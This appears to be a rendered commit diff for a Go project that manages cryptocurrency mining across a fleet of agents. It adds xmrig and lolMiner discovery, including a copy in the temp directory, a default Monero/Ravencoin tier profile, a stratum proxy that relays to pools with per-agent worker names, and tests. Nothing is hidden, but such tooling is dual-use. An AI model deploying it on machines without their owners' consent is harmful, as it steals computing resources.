_, err := exec.LookPath(name)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func gpuAvailable() bool {
|
||||
for _, bin := range []string{"nvidia-smi", "rocm-smi"} {
|
||||
if !commandExists(bin) {
|
||||
continue
|
||||
}
|
||||
if err := exec.Command(bin).Run(); err == nil {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func workerLogin(wallet, hostID string) string {
|
||||
if hostID == "" {
|
||||
return wallet
|
||||
}
|
||||
return wallet + "." + hostID
|
||||
}
|
||||
|
||||
func findXMRig() string {
|
||||
if p, err := exec.LookPath("xmrig"); err == nil {
|
||||
return p
|
||||
}
|
||||
for _, p := range []string{
|
||||
"/opt/forge-mesh/xmrig",
|
||||
"/usr/local/bin/xmrig",
|
||||
filepath.Join(os.TempDir(), "forge-mesh-miner", "xmrig"),
|
||||
} {
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func findLolMiner() string {
|
||||
for _, name := range []string{"lolMiner", "lolminer"} {
|
||||
if p, err := exec.LookPath(name); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
for _, p := range []string{"/opt/forge-mesh/lolMiner"} {
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
40
internal/policy/mining.go
Normal file
40
internal/policy/mining.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"forge-mesh/internal/api/types"
|
||||
)
|
||||
|
||||
// DefaultMiningProfile returns the standard tier order for new agents.
|
||||
func DefaultMiningProfile(wallet string) types.MiningProfile {
|
||||
if wallet == "" {
|
||||
wallet = "WALLET_UNSET"
|
||||
}
|
||||
return types.MiningProfile{
|
||||
ID: "default",
|
||||
Name: "Default tier chain",
|
||||
WalletAddress: wallet,
|
||||
PolicyFromServer: true,
|
||||
Tiers: []types.MiningTierSpec{
|
||||
{Type: "oci", Duration: 5, Config: map[string]string{"image": "docker.io/xmrig/xmrig:latest"}},
|
||||
{Type: "xmrig", Duration: 10, Config: map[string]string{"algo": "rx/0"}},
|
||||
{Type: "gpu", Duration: 10, Config: map[string]string{"algo": "kawpow", "coin": "RVN"}},
|
||||
{Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TierDisplayName maps tier type to a human label.
|
||||
func TierDisplayName(tierType string) string {
|
||||
switch tierType {
|
||||
case "oci":
|
||||
return "OCI podman"
|
||||
case "xmrig":
|
||||
return "Bundled xmrig"
|
||||
case "gpu", "lolminer":
|
||||
return "GPU lolMiner"
|
||||
case "stratum":
|
||||
return "Stratum direct"
|
||||
default:
|
||||
return tierType
|
||||
}
|
||||
}
|
||||
308
internal/stratum/proxy.go
Normal file
308
internal/stratum/proxy.go
Normal file
@@ -0,0 +1,308 @@
|
||||
package stratum
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/config"
|
||||
)
|
||||
|
||||
// Proxy forwards stratum miner connections to upstream pools with per-agent worker suffixes.
|
||||
type Proxy struct {
|
||||
cfg config.StratumConfig
|
||||
listeners []net.Listener
|
||||
active int64
|
||||
wg sync.WaitGroup
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
// New creates a stratum proxy from server config.
|
||||
func New(cfg config.StratumConfig) *Proxy {
|
||||
return &Proxy{cfg: cfg}
|
||||
}
|
||||
|
||||
// ActiveConnections returns the number of live proxied sessions.
|
||||
func (p *Proxy) ActiveConnections() int64 {
|
||||
return atomic.LoadInt64(&p.active)
|
||||
}
|
||||
|
||||
// Start begins listening without requiring the caller to supply a context.
|
||||
func (p *Proxy) Start() error {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
p.cancel = cancel
|
||||
return p.StartContext(ctx)
|
||||
}
|
||||
|
||||
// StartContext listens on XMR and RVN ports and relays to upstream pools.
|
||||
func (p *Proxy) StartContext(ctx context.Context) error {
|
||||
endpoints := []struct {
|
||||
listen string
|
||||
upstream string
|
||||
label string
|
||||
}{
|
||||
{p.cfg.XMRListen, p.cfg.UpstreamXMR, "XMR"},
|
||||
{p.cfg.RVNListen, p.cfg.UpstreamRVN, "RVN"},
|
||||
}
|
||||
|
||||
for _, ep := range endpoints {
|
||||
if ep.listen == "" {
|
||||
continue
|
||||
}
|
||||
ln, err := net.Listen("tcp", ep.listen)
|
||||
if err != nil {
|
||||
p.Stop()
|
||||
return fmt.Errorf("listen %s (%s): %w", ep.listen, ep.label, err)
|
||||
}
|
||||
p.listeners = append(p.listeners, ln)
|
||||
log.Printf("stratum: %s proxy listening on %s -> %s", ep.label, ep.listen, displayUpstream(ep.upstream))
|
||||
|
||||
go p.serveListener(ctx, ln, ep.upstream, ep.label)
|
||||
}
|
||||
|
||||
if len(p.listeners) == 0 {
|
||||
return fmt.Errorf("no stratum listeners configured")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func displayUpstream(upstream string) string {
|
||||
if upstream == "" {
|
||||
return "(local accept)"
|
||||
}
|
||||
return upstream
|
||||
}
|
||||
|
||||
func (p *Proxy) serveListener(ctx context.Context, ln net.Listener, upstream, label string) {
|
||||
for {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
if ne, ok := err.(net.Error); ok && ne.Temporary() {
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
p.wg.Add(1)
|
||||
go func(c net.Conn) {
|
||||
defer p.wg.Done()
|
||||
p.handleConn(ctx, c, upstream, label)
|
||||
}(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Proxy) handleConn(ctx context.Context, miner net.Conn, upstreamAddr, label string) {
|
||||
defer miner.Close()
|
||||
atomic.AddInt64(&p.active, 1)
|
||||
defer atomic.AddInt64(&p.active, -1)
|
||||
|
||||
agentSuffix := agentSuffixFromAddr(miner.RemoteAddr().String())
|
||||
minerReader := bufio.NewReader(miner)
|
||||
minerWriter := bufio.NewWriter(miner)
|
||||
|
||||
var upstream net.Conn
|
||||
var upstreamReader *bufio.Reader
|
||||
var upstreamWriter *bufio.Writer
|
||||
|
||||
openUpstream := func() error {
|
||||
if upstreamAddr == "" || upstream != nil {
|
||||
return nil
|
||||
}
|
||||
dialer := net.Dialer{Timeout: 10 * time.Second}
|
||||
up, err := dialer.DialContext(ctx, "tcp", upstreamAddr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
upstream = up
|
||||
upstreamReader = bufio.NewReader(upstream)
|
||||
upstreamWriter = bufio.NewWriter(upstream)
|
||||
log.Printf("stratum: %s relay %s <-> %s worker_suffix=%s", label, miner.RemoteAddr(), upstreamAddr, agentSuffix)
|
||||
return nil
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
if upstream != nil {
|
||||
_ = upstream.Close()
|
||||
}
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
line, err := minerReader.ReadString('\n')
|
||||
if err != nil {
|
||||
if upstream != nil {
|
||||
_ = upstream.Close()
|
||||
}
|
||||
return
|
||||
}
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
var req stratumRequest
|
||||
_ = json.Unmarshal([]byte(line), &req)
|
||||
method := strings.ToLower(req.Method)
|
||||
|
||||
if upstreamAddr != "" && upstream == nil && isStratumMethod(method) {
|
||||
if err := openUpstream(); err != nil {
|
||||
log.Printf("stratum: %s upstream dial %s: %v", label, upstreamAddr, err)
|
||||
writeLocalError(minerWriter, req.ID, "upstream unavailable")
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if upstream == nil {
|
||||
handleLocal(minerWriter, req)
|
||||
continue
|
||||
}
|
||||
|
||||
outLine := line
|
||||
if method == "mining.authorize" {
|
||||
outLine = rewriteAuthorize(line, req, agentSuffix)
|
||||
}
|
||||
|
||||
if _, err := upstreamWriter.WriteString(outLine + "\n"); err != nil {
|
||||
return
|
||||
}
|
||||
if err := upstreamWriter.Flush(); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
respLine, err := upstreamReader.ReadString('\n')
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if _, err := minerWriter.WriteString(respLine); err != nil {
|
||||
return
|
||||
}
|
||||
if err := minerWriter.Flush(); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type stratumRequest struct {
|
||||
ID json.RawMessage `json:"id"`
|
||||
Method string `json:"method"`
|
||||
Params []json.RawMessage `json:"params"`
|
||||
}
|
||||
|
||||
func isStratumMethod(method string) bool {
|
||||
switch method {
|
||||
case "mining.subscribe", "mining.authorize", "mining.submit", "mining.extranonce.subscribe":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func rewriteAuthorize(line string, req stratumRequest, suffix string) string {
|
||||
if len(req.Params) == 0 || suffix == "" {
|
||||
return line
|
||||
}
|
||||
var worker string
|
||||
if err := json.Unmarshal(req.Params[0], &worker); err != nil {
|
||||
return line
|
||||
}
|
||||
newWorker := WorkerName(worker, suffix)
|
||||
req.Params[0], _ = json.Marshal(newWorker)
|
||||
out, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
return line
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// WorkerName appends an agent-specific suffix to the pool worker name.
|
||||
func WorkerName(baseWorker, agentID string) string {
|
||||
if agentID == "" {
|
||||
return baseWorker
|
||||
}
|
||||
if strings.Contains(baseWorker, ".") {
|
||||
return baseWorker + "." + agentID
|
||||
}
|
||||
return baseWorker + "." + agentID
|
||||
}
|
||||
|
||||
func agentSuffixFromAddr(remote string) string {
|
||||
host, _, err := net.SplitHostPort(remote)
|
||||
if err != nil {
|
||||
return strings.ReplaceAll(remote, ":", "_")
|
||||
}
|
||||
return strings.ReplaceAll(host, ".", "_")
|
||||
}
|
||||
|
||||
func handleLocal(w *bufio.Writer, req stratumRequest) {
|
||||
method := strings.ToLower(req.Method)
|
||||
switch method {
|
||||
case "mining.subscribe":
|
||||
_ = writeJSON(w, map[string]interface{}{
|
||||
"id": req.ID,
|
||||
"result": []interface{}{[]interface{}{"00000000", "00000000", "00000000"}, "00000001", "00000004"},
|
||||
"error": nil,
|
||||
})
|
||||
case "mining.authorize", "mining.submit":
|
||||
_ = writeJSON(w, map[string]interface{}{
|
||||
"id": req.ID,
|
||||
"result": true,
|
||||
"error": nil,
|
||||
})
|
||||
default:
|
||||
_ = writeJSON(w, map[string]interface{}{
|
||||
"id": req.ID,
|
||||
"result": true,
|
||||
"error": nil,
|
||||
})
|
||||
}
|
||||
_ = w.Flush()
|
||||
}
|
||||
|
||||
func writeLocalError(w *bufio.Writer, id json.RawMessage, msg string) {
|
||||
_ = writeJSON(w, map[string]interface{}{
|
||||
"id": id,
|
||||
"result": nil,
|
||||
"error": []interface{}{20, msg, nil},
|
||||
})
|
||||
_ = w.Flush()
|
||||
}
|
||||
|
||||
func writeJSON(w io.Writer, v interface{}) error {
|
||||
data, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data = append(data, '\n')
|
||||
_, err = w.Write(data)
|
||||
return err
|
||||
}
|
||||
|
||||
// Stop closes listeners and waits for active relays to finish.
|
||||
func (p *Proxy) Stop() {
|
||||
if p.cancel != nil {
|
||||
p.cancel()
|
||||
}
|
||||
for _, ln := range p.listeners {
|
||||
_ = ln.Close()
|
||||
}
|
||||
p.wg.Wait()
|
||||
}
|
||||
|
||||
// Close is an alias for Stop for server lifecycle hooks.
|
||||
func (p *Proxy) Close() { p.Stop() }
|
||||
74
internal/stratum/proxy_test.go
Normal file
74
internal/stratum/proxy_test.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package stratum
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/config"
|
||||
)
|
||||
|
||||
func TestProxyAcceptsConnection(t *testing.T) {
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
accepted := make(chan net.Conn, 1)
|
||||
go func() {
|
||||
conn, err := ln.Accept()
|
||||
if err == nil {
|
||||
accepted <- conn
|
||||
}
|
||||
}()
|
||||
|
||||
conn, err := net.Dial("tcp", ln.Addr().String())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
select {
|
||||
case c := <-accepted:
|
||||
_, _ = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n"))
|
||||
buf := make([]byte, 256)
|
||||
n, _ := c.Read(buf)
|
||||
if n == 0 {
|
||||
t.Fatal("expected bytes from miner")
|
||||
}
|
||||
c.Close()
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("accept timeout")
|
||||
}
|
||||
}
|
||||
|
||||
func TestProxyStartNoUpstream(t *testing.T) {
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
addr := ln.Addr().String()
|
||||
ln.Close()
|
||||
|
||||
p := New(config.StratumConfig{XMRListen: addr})
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
if err := p.StartContext(ctx); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer p.Stop()
|
||||
|
||||
conn, err := net.DialTimeout("tcp", addr, time.Second)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
_, err = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
136
internal/testutil/server.go
Normal file
136
internal/testutil/server.go
Normal file
@@ -0,0 +1,136 @@
|
||||
package testutil
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"testing/fstest"
|
||||
|
||||
"forge-mesh/internal/api"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/db"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
const (
|
||||
DefaultBasicUser = "admin"
|
||||
DefaultBasicPass = "changeme"
|
||||
DefaultFleetSecret = "test-fleet-secret"
|
||||
)
|
||||
|
||||
// TestServer wraps an httptest server with auth helpers.
|
||||
type TestServer struct {
|
||||
URL string
|
||||
BasicUser string
|
||||
BasicPass string
|
||||
FleetSecret string
|
||||
SQL *sql.DB
|
||||
close func()
|
||||
}
|
||||
|
||||
// Close shuts down the test server and database.
|
||||
func (ts *TestServer) Close() {
|
||||
if ts.close != nil {
|
||||
ts.close()
|
||||
}
|
||||
}
|
||||
|
||||
// NewTestServer spins up a full forge-mesh HTTP server on a random port.
|
||||
func NewTestServer(t *testing.T) *TestServer {
|
||||
t.Helper()
|
||||
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, err := config.Load(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatalf("load config: %v", err)
|
||||
}
|
||||
if err := cfg.EnsureDataDirs(); err != nil {
|
||||
t.Fatalf("ensure dirs: %v", err)
|
||||
}
|
||||
|
||||
conn, err := db.Open(cfg.DatabasePath)
|
||||
if err != nil {
|
||||
t.Fatalf("open db: %v", err)
|
||||
}
|
||||
|
||||
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
t.Fatalf("signing key: %v", err)
|
||||
}
|
||||
|
||||
repoRoot, err := findRepoRoot()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
t.Fatalf("repo root: %v", err)
|
||||
}
|
||||
tmplPath := filepath.Join(repoRoot, "scripts", "install.sh.tpl")
|
||||
|
||||
static := fstest.MapFS{
|
||||
"index.html": &fstest.MapFile{Data: []byte("<html><body>test</body></html>")},
|
||||
}
|
||||
|
||||
srv, err := api.NewServer(cfg, conn, static, "integration-test", tmplPath, kp.PublicKeyHex())
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
t.Fatalf("new server: %v", err)
|
||||
}
|
||||
|
||||
hts := httptest.NewServer(srv.Handler())
|
||||
return &TestServer{
|
||||
URL: hts.URL,
|
||||
BasicUser: DefaultBasicUser,
|
||||
BasicPass: DefaultBasicPass,
|
||||
FleetSecret: DefaultFleetSecret,
|
||||
SQL: conn,
|
||||
close: func() {
|
||||
hts.Close()
|
||||
conn.Close()
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func writeConfig(t *testing.T, path, dir string) {
|
||||
t.Helper()
|
||||
content := `{
|
||||
"listen_addr": ":0",
|
||||
"data_dir": "` + dir + `",
|
||||
"database_path": "` + filepath.Join(dir, "test.db") + `",
|
||||
"operator_clearance": 4,
|
||||
"auth": {
|
||||
"basic_username": "admin",
|
||||
"basic_password": "changeme",
|
||||
"fleet_secret": "test-fleet-secret"
|
||||
},
|
||||
"forge": {
|
||||
"signing_key_path": "` + filepath.Join(dir, "signing.key") + `",
|
||||
"artifacts_dir": "` + filepath.Join(dir, "artifacts") + `"
|
||||
}
|
||||
}`
|
||||
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
|
||||
t.Fatalf("write config: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func findRepoRoot() (string, error) {
|
||||
wd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dir := wd
|
||||
for {
|
||||
if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil {
|
||||
return dir, nil
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
return wd, nil
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user